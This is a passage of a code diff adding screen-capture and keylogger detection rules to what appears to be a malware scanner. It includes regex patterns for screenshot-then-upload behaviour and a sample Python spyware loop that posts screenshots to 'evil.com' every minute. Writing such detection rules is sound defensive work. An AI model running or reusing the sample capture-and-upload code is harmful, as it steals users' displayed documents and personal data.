+ pattern: 'canvas[\\s\\S]*?toDataURL[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
715
+ flags: 'gis',
716
+ weight: 0.7,
717
+ description: 'Canvas capture with exfiltration'
718
+ },
719
+ {
720
+ type: PatternType.REGEX,
721
+ patternId: 'python-screenshot',
722
+ pattern: '(?:PIL|pyautogui|mss)\\.(?:screenshot|grab)[\\s\\S]*?(?:send|post|upload)',
723
+ flags: 'gis',
724
+ weight: 0.9,
725
+ description: 'Python screenshot with upload'
726
+ },
727
+ {
728
+ type: PatternType.REGEX,
729
+ patternId: 'dotnet-screenshot',
730
+ pattern: 'Graphics\\.CopyFromScreen[\\s\\S]*?(?:Upload|WebClient|HttpClient)',
731
+ flags: 'gis',
732
+ weight: 0.9,
733
+ description: '.NET screenshot with upload'
734
+ }
735
+ ],
736
+ maliciousExamples: [
737
+ {
738
+ code: `import pyautogui
739
+ import requests
740
+ while True:
741
+ screenshot = pyautogui.screenshot()
742
+ screenshot.save('screen.png')
743
+ requests.post('http://evil.com/upload', files={'img': open('screen.png', 'rb')})
744
+ time.sleep(60)`,
745
+ language: SupportedLanguage.PYTHON,
746
+ isMalicious: true,
747
+ description: 'Periodic screenshot exfiltration'
748
+ }
749
+ ],
750
+ impact: {
751
+ technical: 'Captures and exfiltrates screen content.',
752
+ business: 'Visual data theft including sensitive displayed information.',
753
+ affectedAssets: ['Screen content', 'Displayed data'],
754
+ dataAtRisk: ['Visible documents', 'Financial data', 'Personal information']
755
+ },
756
+ remediation: {
757
+ summary: 'Remove screen capture malware and audit display permissions.',
758
+ steps: [
759
+ 'Remove the malicious code',
760
+ 'Review screen capture permissions',
761
+ 'Audit for persistence mechanisms'
762
+ ]
763
+ },
764
+ tags: ['screenshot', 'spyware', 'exfiltration', 'high'],
765
+ enabled: true
766
+ }
767
+ ];
768
+
769
+ // ============================================================================
770
+ // EXPORT ALL KEYLOGGER RULES
771
+ // ============================================================================
772
+
773
+ export const keyloggerRules: MalwareRule[] = [
774
+ ...jsKeyloggerRules,
775
+ ...systemKeyloggerRules,
776
+ ...clipboardMonitorRules,
777
+ ...screenCaptureRules
778
+ ];
779
+
780
+ export default keyloggerRules;